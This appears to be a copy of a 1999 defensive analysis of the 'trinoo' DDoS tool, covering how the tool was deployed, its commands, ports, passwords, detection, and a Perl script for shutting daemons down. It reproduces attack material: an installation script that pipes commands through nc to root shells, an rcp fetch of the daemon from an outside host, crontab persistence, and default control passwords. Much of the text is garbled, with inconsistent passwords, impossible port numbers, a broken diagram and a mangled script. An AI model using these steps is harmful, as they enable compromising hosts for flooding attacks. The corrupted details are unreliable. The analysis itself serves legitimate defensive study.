The DoS Project's "trinoo" distributed denial of service attack tool

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Introduction

The following is an analysis of the DoS Project's "trinoo" (a.k.a. "trin00") master/slave programs, which implement a distributed network denial of service tool.

Trinoo daemons were originally found in binary form on a number of Solaris 2.x systems, which were identified as having been compromised by exploitation of buffer overrun bugs in the RPC services "statd", "cmda" and "ttdbserverd". These attacks are described in CERT Incident Note 99-04:

http://www.cert.org/incident_notes/IN-99-04.html

The trinoo daemons were originally believed to be UDP based, access-restricted remote command shells, possibly used in conjunction with sniffers to automate recovering sniffer logs.

During investigation of these intrusions, the installation of a trinoo network was caught in the act and the trinoo source code was obtained from the account used to cache the intruders' tools and log files. This analysis was done using this recovered source code.

Modification of the source code would change any of the details in this analysis, such as prompts, passwords, commands, TCP/UDP port numbers, or supported attack methods, signatures, and features.

The daemon was compiled and run on Solaris 2.5.1 and Red Hat Linux 6.0 systems. The master was compiled and run on Red Hat Linux 6.0. It is believed that both master and daemon have been witnessed "in the wild" on these same platforms.

Trinoo networks are probably being set up on hundreds, perhaps thousands, of systems on the Internet that are being compromised by remote buffer overrun exploitation. Access to these systems is probably being perpetuated by the installation of multiple "back doors" along with the trinoo daemons.

A trinoo network of at least 227 systems -- 114 of these at Internet2 sites -- was used on August 17, 1999 to flood a single site at the University of Minnesota, swamping the target network and rendering it unusable for over two days. While responding to this attack, large flows were also noticed going to at least sixteen other systems, some outside the US. (See Appendix D for a report of part of this trinoo attack.)

Attack scenario

A typical installation might go something like this.

1. A stolen account is set up as a repository for pre-compiled versions of scanning tools, attack (i.e. buffer overrun exploit) tools, root kits and sniffers, trinoo daemon and master programs, lists of vulnerable hosts and previously compromised hosts, etc. This would normally be a large system with many users, one with little administrative oversight, and on a high-bandwidth connection for rapid file transfer.

2. A scan is performed of large ranges of network blocks to identify potential targets. Targets would include systems running various services known to have remotely exploitable buffer overflow security bugs, such as wu-ftpd, RPC services for "cmda", "statd", "ttdbserverd", "amx", etc. Operating systems being targeted appear to be primarily Sun Solaris 2.x and Linux (due to the ready availability of network sniffers and "root kits" for concealing back doors, etc.), but stolen accounts on any architecture can be used for caching tools and log files.

3. A list of vulnerable systems is then used to create a script that performs the exploit, sets up a command shell running under the root account that listens on a TCP port (commonly 1524/tcp, the "ingreslock" service port), and connects to this port to confirm the success of the exploit. In some cases, an electronic mail message is sent to an account at a free web based email service to confirm which systems have been compromised.

The result is a list of "owned" systems ready for setting up back doors, sniffers, or the trinoo daemons or masters.

4. From this list of compromised systems, subsets with the desired architecture are chosen for the trinoo network. Pre-compiled binaries of the trinoo daemon are created and stored on a stolen account somewhere on the Internet.

5. A script is then run which takes this list of "owned" systems and produces yet another script to automate the installation process, running each installation in the background for maximum multitasking.

This script uses "ncat" ("nc") to pipe a shell script to the root shell listening on, in this case, port 1524/tcp:

```
./trin.sh nc 128.aaa.167.217 1524 &
./trin.sh nc 128.aaa.167.218 1524 &
./trin.sh nc 128.aaa.167.219 1524 &
./trin.sh nc 128.aaa.187.38 1524 &
./trin.sh nc 128.bbb.2.80 1524 &
./trin.sh nc 128.bbb.2.81 1524 &
./trin.sh nc 128.bbb.2.238 1524 &
./trin.sh nc 128.ccc.12.22 1524 &
./trin.sh nc 128.ccc.12.50 1524 &
```

The script "trin.sh", whose output is being piped to these systems, looks like:

```
echo "rcp 192.168.0.1:leaf /usr/sbin/rpc.listen"
echo "echo rcp is done moving binary"
```
echo "chmod +x /usr/sbin/rpc.listen"

echo "echo launching trinoo"

echo "*/1 * * * * /usr/sbin/rpc.listen > cron"

echo "cron tab cron"

echo "echo launched"

echo "exit"

Depending on how closely cron tab files are monitored, or if they are used at all, this may be detected easily. If cron is not used at all by this user (usually root), it may not be detected at all.

Another method was witnessed on at least one other system, where the daemon was named "xterm", and was started using a script (named "e" on the system on which it was found) that contains:

cd /var/adm/.
PATH=.:$PATH
export PATH
xterm 1>/dev/null 2>&1

This would supposedly imply a method of running this script on demand to upsetting the trinoo network.

Even more subtle ways of having trinoo daemons/masters lie in wait for execution at a given time are easy to envision (e.g., UDP or ICMP based client/server shells, such as LOKI (see Alumni C) , programs that wake up periodically and open a listening TCP or UDP port, etc.)

The result of this automation is the ability for attackers to set up the denial of service network, on widely dispersed systems whose true owners don't even know are out of their control, in a very short time frame.

6). Optionally, a "root kit" is installed on the system to hide the presence of programs, files, and network connections. This is more important on the master system, since these systems are key to the trinoo network. (It should be noted that in many cases, masters have been set up on Internet Service Providers' primary name server hosts, which would normally have extremely high packet traffic and large numbers of TCP and UDP connections, which would effectively hide any trinoo related traffic or activity, and would likely not be detected. (The fact that these are primary name servers would also tend to make the owners less likely to take the system off the Internet when reports begin to come in about suspected denial of service related activity.)

Root kits would also be used on systems running sniffers that, along with programs like "hunt" (TCP/IP session hijacking tool) are used to burrow further into other networks directly, rather than through remote buffer overrun exploits (e.g., to find sites to set up new file repositories, etc.)

For more on "root kits" and some ways to get around them, see:

http://staff.washington.edu/dittrich/misc/faqs/rootkits.faq

The network: attacker(s)--->master(s)--->daemon(s)--->victim(s)

The trinoo network is made up of a master server ("master.c") and the trinoo daemon ("ns.c"). A trinoo network would look like this:

--- attacker --- attacker ---
    |                 |
    |                 |
    | master          |
    |                 |
    | master          |
    |                 |
    | master          |
    |                 |
    | daemon          |
    | daemon          |
    | daemon          |
    | daemon          |
    | daemon          |

The attacker(s) control one or more "master" servers, each of which can control many "daemons" (known in the code as "bcast", or "broadcast" hosts.) The daemons are all instructed to coordinate a packet based attack against one or more victim systems.

All that is then needed is the ability to establish a TCP connection to the master hosts using "telnet" and the password to the master server to be able to wage massive, coordinated, denial of service attacks.

Communication ports

Attacker to Master(s): 27665/tcp
Master to Daemon(s): 27444/udp
Daemon to Master(s): 31335/udp

Remote control of the trinoo master is accomplished via a TCP connection to port 27665/tcp. After connecting, the user must give the proper password ("betaalmostdone"). If another connection is made to the server while someone is already authenticated, a warning is sent to them with the IP address of the connecting host (it appears there is a bug that reports incorrect IP addresses, but a warning is still communicated). This will no doubt be fixed eventually and will then give the attackers time to clean up and cover their tracks.

Communication from the trinoo master to daemons is via UDP packets on port 27444/udp. Command lines are space separated lines of the form:

arg1 password arg2

The default password for commands is "144adsl", and only command lines that contain the substring "144" are processed.
Communication from the trinoo daemons and the master is via UDP packets on port 31335/udp.

When the daemon starts, it initially sends "HELLO" to the master, which maintains a list of active daemons that it controls (packet captured using "sniffit"): 

UDP Packet ID (from_IP_port-to_IP_port): 192.168.0.1.32876-10.0.0.1.31335 45 E 00 . 00 . 23 # F1 . 5D ] 40 @ 00 . F8 . 11 . B9 . 27 . C0 . A8 . 00 . 01 . 0A . 00 . 00 . 01 . 80 . 6C 1 7A z 67 g 00 . G9 . 06 . D4 . 2A + 48 M 45 R 4C L 4C 1 4F 0 2A *

If the trinoo master sends a "png" command to a daemon on port 27444/udp, the daemon will reply to the server that just sent the "png" command by sending the string "PONG" on port 31335/udp:

UDP Packet ID (from_IP_port-to_IP_port): 10.0.0.1.1024-192.168.0.1.27444 45 E 00 . 00 . 27 ' A1 . AE . 00 . 00 . 40 @ 11 . 47 G D4 . 0A . 00 . 00 . 01 . C0 . A8 . 00 . 01 . 04 . 00 . 6B k 34 4 00 . 13 . 2F / 87 . 7C 0 6E n 67 g 20 6C 1 34 3 4 4 61 a 64 d 73 z 6C 1

UDP Packet ID (from_IP_port-to_IP_port): 192.168.0.1.32879-10.0.0.1.31335 45 E 00 . 00 . 20 13 . 81 . 40 @ 00 . F8 . 11 . 57 W 07 . C0 . A8 . 00 . 01 . 0A . 00 . 00 . 01 . 80 . 6F o 7A z 67 g 00 . 0C . 4E N 24 S 50 F 4F O 4E N 47 G

Password protection

Both the master and daemons are password protected to prevent system administrators (or other hacker groups) from being able to take control of the trinoo network. These passwords are crypt() style passwords. They are used in a symmetric fashion, where the encrypted password is compiled into the master and daemons and used to compare against the clear-text version of the password that is sent over the network (the current version does not encrypt the actual session, so the clear-text passwords are exposed in transit and the master control sessions are subject to TCP session hijacking).

When initially run, the master daemon produces a prompt, waiting for a password. If the proper password is not received, the program exits. If the proper password is given, the process announces its execution, forks to continue running in the background, and exits:

```
# . /master
?? wrongpassword
# ...
```

```
# . /master
?? gGrave
trinoo v1.07d2f3c+c [Sep 26 1999:10:09:24]
```

Likewise, when you connect to the remote command port (default 27665/tcp), you must also give a password:

```
attacker$ telnet 10.0.0.1 27665
Trying 10.0.0.1
Connected to 10.0.0.1
Escape character is '\}'.
kwijbo
Connection closed by foreign host.
```

```
attacker$ telnet 10.0.0.1 27665
Trying 10.0.0.1
Connected to 10.0.0.1
Escape character is '\}'.

```

Master commands

The trinoo master supports the following commands:

die Shut down the master.
quit Log off the master.

```
mtimer N Set DoS timer to N seconds. N can be between 1 and 1999
seconds. If N is < 1, it defaults to 300. If N is > 2000, it defaults to 500.
```

dos IP DoS the IP address specified. A command (*aaa 144adsl
IP*) is sent to each Bcast host (i.e., trinoo daemons) telling them to DoS the specified IP address.

```
mdie pass Disable all Bcast hosts, if the correct password is
specified. A command is sent (*die 144adsl*) to each
Bcast host telling them to shut down. A separate
password is required for this command.
```

```
mping Send a PING command (*png 144adsl*) to every active
Bcast host.
```

```
mdos <ipl1:ipl3>
Multiple DoS. Sends a multiple DoS command (*xyz 144adsl 123:ipl2:ipl3*) to each Bcast host.
```

info Print version and compile information, e.g.: This is the "trinoo" KAA DoS Project master server version v1.07d2f3c+c
Compiled 15:08:41 Aug 16 1999

```
msize Set the buffer size for packets sent during DoS attacks.
```

```
nsllookup host Do a name service lookup of the specified host from
the perspective of the host on which the master
server is running.
```

```
```
killdead  Attempts to weed out all dead Bcast hosts by first
sending all known Bcast hosts a command ("shi 144ads1")
that causes any active daemons to reply with the initial
"**HELLO**" string, then renames the Bcast file (with
extension "-b") so it will be re-initialized when the
"**HELLO**" packets are received.

usebackup  Switch to the backup Bcast file created by the
"killdead" command.

bcast  List all active Bcast hosts.

help [cmd]  Give a (partial) list of commands, or a brief
description of the command "cmd" if specified.

mstop  Attempts to stop a DoS attack (not implemented, but
listed in the help command).

Daemon commands
-------------

The trinoo daemon supports the following commands:

aaa pass IP  DoS the specified IP address. Sends UDP packets to random
(0-65534) UDP ports on the specified IP addresses for
a period of time (default is 120 seconds, or 1 - 1999
seconds as set by the "bbb" command.) The size of
the packets is that set by the "rsz" command, or the default
size of 1000 bytes.

bbb pass N  Sets time limit (in seconds) for DoS attacks.

shi pass  Sends the string "**HELLO**" to the list of master servers
compiled into the program on port 31335/udp.

png pass  Sends the string "PONG" to the master that issued the
command on port 31335/udp.

dle pass  Shut down the trinoo daemon.

rsz N  Set size of buffer for DoS attacks to N bytes.
(The trinoo daemon simply macloes(/s a buffer with this
size, then sends the uninitialized contents of the
buffer during an attack.)

xyz pass 123:ip1:ip2:ip3
Multiple DoS. Does the same thing as the "aaa"
command, but for multiple IP addresses.

It could be coincidence, but I will give the author some credit
and assume that three letter commands were chosen so they don't show up in
the binary as visible strings under the default behavior of
STRINGs(). You must use the "--bytes=3" option of GNU STRINGs() to see the commands:

```
# strings --bytes=3 ns | tail -15
socket
bind
recvfrom
```

If the program was compiled with CRYPTKEY defined, the IP addresses of
Bcast hosts are encrypted using the Blowfish encryption algorithm:

```
# is -l ... -b
-rw------- 1 root root 25 Sep 26 14:46 ...
-rw------- 1 root root 50 Sep 26 14:30 ...
# cat ...
JFbDc05Swk/0gMvu18BrfFH/
# cat ...
aE5aK0IPFwsOY0EnH02flvK.
JFbDc05Swk/0gMvu18BrfFH/
```

Assuming there is no "root kit" present to hide processes, the master
server shows the following network socket fingerprints (of course, the
names and directory locations of either program are subject to change):

```
# netstat -a --inet
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 :27665 :*: LISTEN
...
udp 0 0 :31335 :*:
# lsof | egrep ":31335|:27665"
master 1292   root  3u  inet  2460  UDP  *:31335
master 1292   root  4u  inet  2461  TCP  *:27665 (LISTEN)

# lsof -p 1292
COMMAND   PID USER   FD  TYPE DEVICE SIZE NODE NAME
master 1292   root  cwd  DIR  3,1  1024 14356 /tmp/...
master 1292   root  rtd  DIR  3,1  1024  2 /
master 1292   root  txt  REG  3,1  30492 14357 /tmp/.../master
master 1292   root  mem  REG  3,1  342206 28976 /lib/id-2.1.1.so
master 1292   root  mem  REG  3,1  63878 29116 /lib/ld-2.1.1.so
master 1292   root  mem  REG  3,1  4016683 29115 /lib/libc-2.1.1.so
master 1292   root  0u  CHR  4,1  2967 /dev/tty
master 1292   root  1u  CHR  4,1  2967 /dev/tty
master 1292   root  2u  CHR  4,1  2967 /dev/tty
master 1292   root  3u  inet  2534  UDP  *:31335
master 1292   root  4u  inet  2535  UDP  *:27665 (LISTEN)

A system running a daemon would show the following:

# netstat -a -inet
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address      Foreign Address         State
udp  0  0  *:1024        *:*              .../dev/udp
udp  0  0  *:27444        *:*              ...

# lsof | egrep ":27444"
ns 1316   root  3u  inet  2502  UDP  *:27444

# lsof -p 1316
COMMAND   PID USER   FD  TYPE DEVICE SIZE NODE NAME
ns 1316   root  cwd  DIR  3,1  1024 153694 /tmp/...
ns 1316   root  rtd  DIR  3,1  1024  2 /
ns 1316   root  txt  REG  3,1  6156 153711 /tmp/.../ns
ns 1316   root  mem  REG  3,1  342206 28976 /lib/id-2.1.1.so
ns 1316   root  mem  REG  3,1  63878 29116 /lib/ld-2.1.1.so
ns 1316   root  mem  REG  3,1  4016683 29115 /lib/libc-2.1.1.so
ns 1316   root  0u  CHR  4,1  2967 /dev/tty
ns 1316   root  1u  CHR  4,1  2967 /dev/tty
ns 1316   root  2u  CHR  4,1  2967 /dev/tty
ns 1316   root  3u  inet  2502  UDP  *:27444
ns 1316   root  4u  inet  2503  UDP  *:1024

Defenses
-----
Of course, the best defense is to prevent intrusions and root level compromise from your systems in the first place, so there would be no systems on which to install trinoo master/daemons. In an ideal world, all systems would be patched, secured, monitored, intrusion detection systems and firewalls would be available to detect and reject packets, and I’d be a multi-millionaire living six months of the year in a beach mansion on Bali, and six months in the French Alps. In the real world, this is not an option (at least not in the foreseeable future.)

Instead, your network may already have several trinoo daemons running and ready to DoS other systems at any minute. So how can they be detected or disabled?

Because the programs use high numbered UDP ports for both communication and attack, it will be very difficult (if not impossible) to block it without breaking programs that use UDP on high numbered ports.

The easiest method to detect the presence of trinoo masters or daemons (as the code exists presently) may be to monitor all UDP packets on shared Ethernet segments and look for the tell tale signs of communication between master() and daemon() as described elsewhere in this paper. (Switches would preclude seeing UDP packets that are not associated with the MAC address of the monitoring host’s network interface.) Unfortunately, this would only occur during an attack, which would likely become known by network throughput degradation and/or reports of denial of service attacks from victim sites.

If a system is suspected of hosting a trinoo daemon that is actively attacking, the output of the Solaris “truss” program on the running daemon will show output like the following:

.....

The traffic on the network during an attack against a single target (as seen by "tcpdump") would look like:
Weaknesses

The first weakness is that the crypt() encrypted passwords, and some prompts and return strings, are visible in both the master and daemon binary images.

This can allow you to identify whether you have found a master or a daemon. Determine whether the passwords are the defaults shown in this paper or not, and potentially allow you to exploit the password weaknesses to take control of some/all of the trinoo network yourself.

If the source code has been modified (which it no doubt will by smarter attackers), you would need to crack the passwords, or use a hexadecimal/ASCII editor (e.g., "xxd", part of the VM editor suite) and change them in the binary image, in order to, for example, run the master to retrieve the list of daemons.

If the source has not, you can determine this fact by observing the strings embedded in the program binary:

```
# strings -n

socket
bind
recvfrom
%%% % %
af13YFWow.V.  ===> crypt() encrypted password "144ads1"*
PONG
"HELLO"

...  ...

# strings -master

---v
v1.07d2+f3+c
trinoo %s
l44ads1  ===> clear text version of daemon password sock
```

Next, and more vulnerable, is the daemon password, which travels the network in clear text form. Assuming you know the UDP port on which the master communicates to the client, you can capture the password using "sniffit", "ngrep", "tcpdump", or any network monitoring program capable of showing UDP packet data payloads (see Appendix A for a sample session logged with "ngrep").

For example, here is the "png" command being sent to the trinho daemon as seen by "sniffit":

```
00mV1N9QgRMV  ===> crypt() encrypted password "gOrave"
10:09:24
Sep 26 1999
trinoo %s %s %s
bind
read
*HELLO*  --> CRYPTKEY
ZsoTN.cq4X31

PONG
PONG %d Received from %
Warning: Connection from %
beU8ZbLtK7kkY  ===> crypt() encrypted password "betaalmostdome"
trinoo %s. [rpm8d/cb48x/]

...  ...
Dos: usage; dos <ip>
Dos: Packeting %s.

aaa % %
mdie
ECVTv6AzRePE  ===> crypt() encrypted password for "mdie" command
mdie: Disabling bcasts.
die %
mdie: password?

---
```

As was mentioned earlier, the "mdie" command in the trino master is password protected in the master itself. There are a couple ways to attack this.

If you can determine the crypt() encrypted string using the Unix "strings" command, you could (potentially) use a password cracking utility, such as "crack", and break it (see Appendix C). This may take a LONG time if the password was well chosen, but it is feasible (and the "killme" password for the "mdie" command was cracked in less than 30 seconds on a Pentium II).

You could try to sniff the password on the wire between the attacker and the master, but presumably this command would not be used by the attackers often, if at all, since they want the daemons to be active when needed for an attack.

You may have more luck sniffing the daemon password, since it is required for most commands. This can be done on either the daemon’s or master’s network (these are usually entirely different networks). It should be easier to accomplish on the daemon’s network since there are far more daemons than masters. Since many of the masters have been
found on primary name servers, presumably there would be more traffic
on high-numbered UDP ports on networks containing daemons than on
networks containing daemons (outside of the duration of denial of
service attacks, that is.) Furthermore you will likely find several
daemons at a given site, possibly as a result of detecting the
original system compromise.

Once you have located a daemon, you have also found the list of IP
addresses of masters (use "strings" to see them.) You should
immediately contact these sites and convince them to closely inspect the
system for signs of intrusion, with likely "root kit" installations to make
this task more difficult, and attempt to coordinate a response.

Having found a master, the list of daemons (which will likely include
hosts at many other sites) can be obtained by simply identifying the
file which contains the list, if unencrypted. If, however, the file is
encrypted, you would either have to decrypt the Blowfish encrypted file
using the same key compiled into the program, or by taking control of
the master and using the "bcast" command.

It you have identified an active command session to a master, which is
a standard "telnet" style TCP session, you could hijack the session
using "hunt" and start executing commands. Not knowing the "midie"
command password, you could not disable all the daemons directly, but
you COULD use the "bcast" command and get a list of all of them (you
would probably want to do this using the "script" command to generate
a transcript of the session, as this could be a very large list).

Once you know the addresses of all the daemons, and the daemon
password (visible in "strings" output), you could then send the proper
command string in UDP packets to any suspected trinoo daemon(s).
Creation and transmission of UDP packets can be accomplished with
tools like LibNet, Spak, the Perl Net::RawIP library, etc. (A Perl
script using Net::RawIP named "trinot" has been developed to
accomplish this task. See Appendix B).

As the typical installation of the daemon includes a crontab entry
that runs it every minute, you have to constantly spray your
entire network to keep the daemons from re-starting. (This may be
due to programming bugs that cause the daemons to crash occasionally,
or may be to defeat system administrators who simply notice and kill the
process, but do not think to check for a crontab entry that re-starts
the daemon.)

The daemons can also be found on your network by sniffing the data
portion of UDP packets for the strings "*HELLO*" and "PONG", or any of
the command strings themselves for that matter (until the source is
modified to change these strings, of course.) The "ngrep" program
works nicely for this:

```
# ngrep -i -x "*hello*|pong" udp
interface: eth0 (192.168.0.200/255.255.255.0)
filter: ip and ( udp )
match: *hello*|pong
```

```
U 192.168.0.1:32887 -> 10.0.0.1:31335  
2a 48 45 4c 4c 4f 2a  *HELLO*  
##
U 192.168.0.1:32888 -> 10.0.0.1:31335  
50 4f 4e 47  PONG
U 192.168.0.1:32815 -> 10.0.0.1:31335
```

While not weaknesses in trinoo itself, there are also weaknesses in
the way the trinoo networks are set up.

As mentioned earlier, some systems showed crontab entries used to
start the daemons once per minute. This leaves an obvious fingerprint
on crontab files.

The scripts observed to automate the installation of trinoo networks
use the Berkeley "rcp" command (use of rcp has also been observed in a
file upload capability built into newer versions of the "Tribe Flood
Network" daemon program). Monitoring "rcp" connections (514/tcp) from
multiple systems on your network, in quick succession, to a single IP
address outside your network would be a good trigger. (Note that the
use of "rcp" in a script requires an anonymous trust relationship,
usually in the form of "+" in a user’s "/.rhosts file, which also
will allow you to immediately archive the contents of this account
while contacting the owners to preserve evidence.)

(Further analysis of trinoo by George Weaver of Pennsylvania State
University and David Brumley of Stanford University is included in
Appendix C – Further methods of detecting trinoo. George deserves
special credit for attempting to hand-decompile a recovered SPARC
binary image!)

The next logical evolutionary steps

One of the easiest attacks to implement is the denial of service
attack. Many bugs exist in TCP/IP stacks, for example, that allow
fragmented packets, large packets, IP options, half-open TCP
connections, or floods of packets (highest bandwidth wins) etc., to
cause the system performance to be degraded, or actually crash the
system.

As each bug is found, an exploit program demonstrating the bug is
generally produced. Each of these exploit programs is generally
unique, exploiting a specific bug that may only affect a single TCP/IP
implementation (although with Microsoft having such a large market
share of personal computers, and many home users being almost totally
unaware of such bugs, let alone where to get and how to apply patches
to fix these bugs, the chances are high that a multi-exploit attack
will succeed in crashing the target system.)

These denial of service exploits are available from numerous sites
on the Internet, such as:

http://www.technotronic.com/denial.html
http://www.rootshell.com/

The next step was to combine multiple denial of service exploits
into one tool, using Unix shell scripts. One such tool, named "rape",
(according to the code it was written in 1998 by "marx", with
modifications by "TheVirus" and further code improvements by "ttol")
integrates the following exploits into a single shell script:

```
    echo "Edited for use with www.ttol.base.org"
```

```bash
# Next: Combine all of them into a shell script by marx
```
A tool like this has the advantage of allowing an attacker to give a single IP address and have multiple attacks be launched (increasing the probability of successful attack), but meant having to have pre-compiled versions of each individual exploit (e.g., a Unix "tar" format archive, etc., for convenient transfer to a (usually stolen) account from which to launch the attack.

To still allow multiple denial of service exploits to be used, but with a single pre-compiled program that is more easy to store, transfer, and use quickly, programs like "targa.c" by Mixter were developed. Targa combines all of the following exploits in a single C source program:

```plaintext
/* targa.c - copyright by Mixter <mixter@gmx.net> 
 version 1.0 - released 6/24/98 - interface to 8 multi-platform remote denial of service exploits */

/* bonk by route|daemon9 & klepto 
 * jolt by Jeff M. Roberson (modified by Mixter for overdrop effect) 
 * land by m3lt 
 * nestea by humble & ttool 
 * newtear by route|daemon9 
 * syndrop by PineKoan 
 * teardrop by route|daemon9 
 * winnuke by _eci */

Even combined denial of service tools like "targa" still only allow one attacker to hit one IP address at a time.

To increase the effectiveness of the attack, groups of attackers, using IRC channels or telephone "voice bridges" for communication, could coordinate attacks, each person hitting a different system. This same coordination is being seen in probing for vulnerabilities, and in system compromise and control using multiple back doors and "root kits."

Even this has its limits, so in less than two years, it appears the next logical step has been taken to combine the power of a number of compromised systems into a distributed "denial of service cluster."

The "trinoo" tool is an example of this, as is another similar tool available in the underground called the "Tribe Flood Network" (or "TFN") by Mixter.

While trinoo only implements UDP flood attacks, TFN supports ICMP flood, UDP flood, SYN flood, and Smurf style attacks, and is controlled via commands sent as ICMP_ECHOREPLY (ICMP Type 0) packets. It also employs Blowfish encryption, similar to trinoo. (TFN is analyzed in a separate paper).

It is all but guaranteed that these tools will continue to follow this trend and evolve into truly robust, covert, and distributed denial of service attack tools that employ strong encryption of embedded strings, passwords to control execution (possibility with trip wires that self-undo, etc., or wipe the entire system disc, if run in the wrong way, or by the wrong person), using encrypted communication channels, and communicating using packets posing as protocols like ICMP that are difficult to detect or block by firewalls.

---

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Appendix A: Example of network session captured with "ngrep"

The following is an example of what an attack session would look like when viewed with "ngrep".

```
# ngrep -v ".*" tcp port 27665 or udp port 31335 or udp port 27444 
interface eth0 192.168.0.209/255.255.255.0 
filter: ip and ( tcp port 27665 or udp port 31335 or udp port 27444 )
match: ".*
U 192.168.0.1:32892 -> 10.0.0.1:31335 
2a 4f 85 4c 4f 2a *HELLO*
T 192.168.101.1:1074 -> 10.0.0.1:27665 [AP] 
ff ff ff ff 06 ..... 
T 192.168.101.1:1074 -> 10.0.0.1:27665 [AP] 
62 65 74 61 61 6c 6d 6f 73 74 64 6f 6e 65 0d 0a 
*betaalmostdone..*
T 10.0.0.1:107665 -> 192.168.101.1:1074 [AP] 
74 72 69 6e 6f 62 76 37 2e 32 3a 36 32 3a 36 32 3a 32 3b 66 
33 3b 32 63 2e 2e 2e 2b 72 70 6d 38 34 32 63 63 34 53 
78 2f 5d 0a 0a 0a
T 10.0.0.1:107665 -> 192.168.101.1:1074 [AP] 
74 72 69 6e 6f 62 76 32 3a 36 32 3a 34 20 
trinoo> 
T 192.168.101.1:1074 -> 10.0.0.1:27665 [AP] 
62 63 61 73 74 70 0d 0a 
*bcast..*
T 10.0.0.1:27665 -> 192.168.101.1:1074 [AP] 
4c 69 73 74 69 6e 67 20 42 63 61 73 74 70 3e 0a 
Listing Bcasts.. 0a 0a
```
trinoo.analysis.txt

T 10.0.0.1:27665 -> 192.168.100.1:1074 [AP]
31 39 32 2e 31 36 38 2e 30 2e 31 2e 20 20 20 0a
0a 45 6e 64 2e 20 31 32 20 42 63 61 73 74 73 74 20 74
6f 74 61 6c 2e 0a 74 72 69 6e 6f 6f 3e 20
192.168.0.1.
End. 1 Beasts t
otal..trinoo>

T 192.168.100.1:1074 -> 10.0.0.1:27665 [AP]
6d 74 69 6d 65 72 20 31 30 30 0d 0a
mtimer 1000..

###T 10.0.0.1:27665 -> 192.168.100.1:1075 [AP]
6d 74 69 6d 65 72 3a 20 53 65 74 74 69 6e 67 20
timer: Setting
timer on bcast t
4 32 2e 31 36 38 2e 70 2e 31 2e 20 20 20 0a
6f 20 31 30 30 30 2e 0a
1000..

###U 10.0.0.1:1025 -> 192.168.0.1:27444
62 62 62 20 6c 34 34 61 64 73 6c 20 31 30 30 30
bbb 144ads1 1000

###T 10.0.0.1:27665 -> 192.168.100.1:1074 [AP]
6d 74 69 6d 65 72 3a 20 53 65 74 74 69 6e 67 20
mtimer: Setting
timer on bcast t
4 32 2e 31 36 38 2e 70 2e 31 2e 20 20 20 0a
6f 20 31 30 30 30 2e 0a
1000..

###T 10.0.0.1:27665 -> 192.168.100.1:1074 [AP]
74 72 69 6e 6f 6f 3e 20
trinoo>

T 192.168.100.1:1074 -> 10.0.0.1:27665 [AP]
6d 73 69 7a 65 20 33 32 30 30 30 0d 0a
mssize 32000..

###U 10.0.0.1:1025 -> 192.168.0.1:27444
72 73 7a 20 33 32 30 30 30
rsz 32000

###T 10.0.0.1:27665 -> 192.168.100.1:1074 [AP]
74 72 69 6e 6f 6f 3e 20
trinoo>

###T 192.168.100.1:1074 -> 10.0.0.1:27665 [AP]
64 6f 73 20 32 31 36 3e 3a 36 30 2e 58 58 2e 59
59 0d 0a
DoS: Packeting 2
16.160.XX.YY..

###U 10.0.0.1:1025 -> 192.168.0.1:27444
44 6f 53 3a 20 50 61 63 6b 65 74 69 6e 67 20 32
aaa 144ads1 216.
31 36 32 2e 58 58 2e 59
160.XX.YY

###T 10.0.0.1:27665 -> 192.168.100.1:1074 [AP]
74 72 69 6e 6f 6f 3e 20
trinoo>

###T 192.168.100.1:1074 -> 10.0.0.1:27665 [AP]
71 75 69 74 0d 0a
quit..

###T 10.0.0.1:27665 -> 192.168.100.1:1074 [AP]
62 79 65 20 62 79 65 2e 0a
bye bye..

###T 192.168.100.1:1075 -> 10.0.0.1:27665 [AP]
62 79 65 61 6c 66 6f 73 74 64 6f 6e 67 0d 0a
betaalmostdone..

###T 10.0.0.1:27665 -> 192.168.100.1:1075 [AP]
74 72 69 6e 6f 6f 20 76 31 2e 30 30 37 64 32 2b 66
trinoo v1.07d2+f
33 2b 63 62 2e 5b 72 70 6d 38 64 2f 63 62 34 53
3+c..[rpm8d/cb4S
78 2f 5d 0a 0a 0a

###T 10.0.0.1:27665 -> 192.168.100.1:1075 [AP]
74 72 69 6e 6f 6f 20 76 31 2e 30 30 37 64 32 2b 66
trinoo v1.07d2+f
33 2b 63 62 2e 5b 72 70 6d 38 64 2f 63 62 34 53
3+c..[rpm8d/cb4S
x/1...

# Pong

Pong

---

Appendix B - trinoo script

---

!/usr/bin/perl -w

# trinoo v. 1.1
# By Dave Dittrich <dittrich@cac.washington.edu>
# Send commands to trinoo daemon(s), causing them to PONG, "HELLO"
# to all their masters, exit, etc. Using this program (and knowledge
# of the proper daemon password), you can affect trinoo daemons
# externally and monitor packets to verify if the daemons are up,
# expose their masters, or shut them down.
# Needs Net::RawIP (http://quake.skif.net/RawIP)
# Example: ./trinoo host1 [host2 [...]]
# ./trinoo -S host
# ./trinoo -p password -P host
# (This code was hacked from the "macof" program, written by
# Ian Vitek <ian.vitek@infosec.se>)

require 'getopts.pl';
use Net::RawIP;
$sa = new Net::RawIP(udp => ];);
chop($hostname = 'hostname');
Getopts('PSdp:fs:sd:li:rh');
die "usage: 20 [options] host1 [host2 [...]]\n-tF\t\t\t\t\t\t\tSend "png" command/
trinoo.analysis.txt

# Send "sh" command
-t=0

# Send "die" command (default)
-t-D

# from_host (default:$hostname)
-t-f

# src_port (default:random)
-t-s

# dest_port (default:27444)
-t-d

# Set send to IP addresses in ipfile
-t-l

# Set sending interface (default:eth0)
-t-i

# This help menu* unless (!$opt_h)
-t-V

# Send "shi" command
-t-S

# Send "d1e" command (default)
-t-D

# password (default:"l44sadsl")
-t-p

# interface (default:eth0)
-t-i

# Set verbose
-t-V

# set default values
$opt_i = ($opt_i > $opt_i : "eth0");
$opt_s = ($opt_s < $opt_s : int rand 65535);
$opt_d = ($opt_d < $opt_d : 27444);
$pass = ($opt_p > $opt_p : "l44adsl");

# choose network card
if ($opt_e) {
  $a->setnew($opt_i, dest => $opt_e);
} else {
  $a->setnew($opt_i);
}

$cmd = ($opt_P) ? "png $pass" :
  ($opt_S) ? "shi $pass"
    ($opt_D) ? "die $pass"
      "$die $pass"

$s_host = ($opt_f) ? $opt_f : $hostname;

if ($opt_l) {
  open($opt_l) || die "could not open file: "$opt_l");
  while (<I>) {
    chop;
    push($ARGV,$_);
  }
  close($);

  foreach $d_host (@ARGV) {
    $a->set((ip => ($a_host, daddr => $d_host),
      source => $s_port, dest => $d_port, data => $cmd)
    );
    print "sending 'cmd' to $d_host\n" if $opt_v;
    $a->send;
  }
}

exit(0);

----------------------------------------- cut here

Appendix C - References
------------------------------

lsot: ftp://vic.cc.purdue.edu/pub/tools/unix/lsot/
tcpdump:

